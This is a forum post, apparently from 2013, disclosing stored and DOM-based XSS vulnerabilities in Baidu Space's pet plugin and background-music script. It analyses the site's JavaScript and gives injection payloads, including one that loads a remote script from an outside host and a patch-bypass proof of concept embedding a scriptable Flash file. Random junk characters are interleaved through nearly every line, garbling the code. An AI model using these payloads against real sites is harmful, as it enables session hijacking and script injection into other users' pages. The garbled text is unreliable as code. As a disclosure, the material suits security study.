找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  : U' ]& {3 S, |- U3 m

# E. Y8 F/ x4 k+ M) r( A1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  $ E. w( L/ G" ?
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  5 O) J2 [0 d3 V/ e6 j  q

; e7 I3 Q. ]/ Y! D  h7 y# l+ u: ?将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
$ L2 w( V  ?- J( R9 g其中BdUtil.insertWBR为  ( ]8 d$ H- v6 i% B+ \3 z' N4 ^
function(text, step) {  
) z+ A/ W# f* |- j8 k    var textarea = textAreaCache || getContainer();  
- V) ?/ I6 a( O& _) N, ]    if (!textarea) {  1 h# l4 B% }* j3 n: R
        return text;  
  x" p4 O) p7 @$ q: _, K" A5 ?3 R3 q1 D    }  
' Y' |! x3 X: w- t' I" W6 B    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
; `2 |& p! e" [. u- u, m    var string = textarea.value;  * g5 R$ G; Q( e. w! ^0 Z
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
2 X+ f6 o: i0 p    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
% n$ {! g+ j. ~* U% a7 P) `    return result;  
, m  e. p3 U& A+ u+ p& Z}  
0 D; b4 }" m% V8 Y3 m7 h在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
5 Y9 I& o( q% M& S测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
( o+ D+ X4 v5 Y/ X/ \. s   + v% E. p. g) |
二:creatbgmusic() Dom-Xss Bug  
( |5 i8 u8 l/ a( E百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  - s9 D5 k9 b2 |/ ]
* s5 p5 e4 |' |/ z6 h+ ]* @
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  . g9 L) V; L- L6 U2 J
5 @3 H9 Q- i6 Z) u) Q/ x# N
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
; t. N- B6 l' j4 B# S* K( k    //传入的murl赋值到bgmusic1和bgmusic2中  - m( W3 k# }! m3 _% _
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
4 i+ E" i/ j4 s* I' s6 y" |2 X, {. H    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
. C: |& f! k( r3 n9 s    if (musicnum <= 1) {  : s( m% I- c+ j  \7 ]
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
0 R$ f: l, h$ k- I( [- i6 b    }  
: {  V: |& I5 e9 l* u    bgmusic1 += "</OBJECT>";  & e  q5 ]& M8 F& V
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  6 ~. P' U" d9 a8 [8 S1 e9 j0 E0 V
    if (musicnum <= 1) {  * M* w3 h3 @) K& L9 Y4 x
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  # w. G# w( O$ I4 z  U3 d2 M8 v
    }  
# k- {8 Q2 x' A; c/ }# h3 U" H    bgmusic2 += "> </EMBED>";  
, W- r2 D! W7 Z% r    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
" }' I. z4 O: D+ U6 A$ ^    var bgmus = detectWMP();  " i# B3 k) i9 n0 u4 B2 A
    if (functype == "FckMusicHelper") {  
* @. _: x: O3 G! l        if (bgmus.installed) {  
! S/ m( v0 o* U) a            if (bgmus.type == "IE") {  ! C4 q, q+ T4 C1 L5 V! O6 D
                return bgmusic1;  ! F. a: N$ y: Q) K+ c
            } else if (bgmus.type == "NS") {  
3 w  b  |3 Y$ g, D! @                return bgmusic2;  6 d. T+ j7 t% j2 b: x; N
            }  / F0 X+ |3 Q4 E
        } else {  
) h* t; U1 ?% k$ X0 u2 ]5 P            return bgmusic3;  1 n' w  J/ g6 b  B3 c' _* f
        }  - P8 ~) O: U% @' U" B
    } else {  
5 n8 c! K4 R' T* Z; l2 I$ Z8 k        if (bgmus.installed) {  3 [, }7 I1 c8 G3 b& l' z
            //document.write 直接输出bgmusic变量 导致xss  
* p" Z4 i" ^$ F3 N0 c            if (bgmus.type == "IE") {  
4 N# W* C3 g" ^1 h% _4 r0 c) J! E                document.write(bgmusic1);  
& `6 M4 Q" _' R8 v- N0 e3 H1 H            } else if (bgmus.type == "NS") {  
! B. Z  m* n1 g2 v6 q; e                document.write(bgmusic2);  * l7 O6 @6 C4 T- C
            }  * }& [7 |1 W; L5 G1 S4 d
        } else {  1 s8 v0 w4 _8 D& n! e8 f6 C. ~
            document.write(bgmusic3);  
- V  j1 ?; X# C) ^( w        }  
, n: E: S2 S+ L0 i, s  ?: |        return "";  ) g+ x  |& F! s# g! b
    }  
1 g% ^" Q7 k4 N}  
8 K5 ?6 Q+ R0 q- {" m* a. q/ D+ Q4 Z* Y+ S! i4 Y- i8 A
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ( R5 S2 W+ E7 p! Y
: C. y" Z8 _! U+ P/ u
function initBlogTextForFCK(){  4 c& B) }7 \3 r. [, P) v
//fck init music  , E$ W/ A* j5 o7 j3 y/ q8 M: G
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
. w$ t8 q# }7 m$ B) w1 nvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
4 S2 I7 G) A3 u6 q. g/ _var isAutoPlay=true;  7 }$ ~" E* T' m4 Y4 ^# g
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  ! g+ c3 ]$ T2 S& w
  var img=imgBox;  . L4 c2 L9 Y- _
  if(img.getAttribute(’rel’)){        7 X4 c; `9 }& E; ?* k* M( z( ?3 @0 D
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
' e# h5 [8 O0 j0 M* q9 f   var musicDiv = document.createElement("SPAN");  
/ g5 g8 H2 l. }: w( V+ U7 f$ Z   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
8 s  ^, u6 k( n% l! |     * M& x4 o$ j0 [5 ?
      ..........................  
- f( N0 Q, L3 e! F# c+ d     / Q, L/ c$ |# Y- p$ c
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
+ O; W3 I( t5 |3 F; |8 i  [! t- N   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
2 E0 s# E! A. |: w; W   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  2 M1 x" _( V/ D; Q, g$ M# A3 h* {
   musicDiv.innerHTML=shtml;  5 |# f1 y- y7 n- G& ?; A- F
   i--;n--;  
0 Y2 `  v) E, C  w8 `9 T& R  }  
4 @4 e1 I7 _6 v$ ]  H$ d0 K6 W) S}    j) ~4 L+ B6 F+ ]( {# Q! n6 Y

" A5 h9 m# {* V. E+ W$ ?1 a从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
; y2 `% E, Z9 o7 G9 h( c9 v   
# G( M+ l* L6 K5 ^# W! G& Q测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
7 C2 c  |7 U5 i9 o. \! R
7 n' U; i, I5 E* l% ]4 J等待官方补丁  , Z9 V+ B( |9 y, T+ t' m

; [! E9 y" @# N) [0 \# M  lupdate 2010年5月13日   . b" Y' y( s- q+ }7 T# z& K

2 q5 b9 C: S: s" B官方补丁:  # C! v' f' B0 ^* `
8 J, J6 G+ c- l
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
/ q" v- a3 m5 s! B0 y( o# X% f改为:  
6 i  S0 K/ X8 l+ C  Fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
; S1 t+ L6 ?  O- X. ~% O0 }1 ?) y% C
update 2010年5月13日 21:50:37  
+ j# l; k* n$ E; E1 _" w+ z/ D1 A) N' ?8 F# H0 P" y
补丁存在漏洞 没有过滤" 可以继续跨:  ( e. |( s, y6 x
0 N$ @0 M3 W; H$ W
NEW POC:  
7 F7 P0 ^1 Y6 Y# X4 H9 w" G- i! h' W) w/ |
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" % a3 T* r) G- o% d5 f* H+ y

' Y1 F' s* B6 Mallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>, t2 R  g+ t) a) Y" F

) t( c+ _9 Y  C4 u$ D- \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表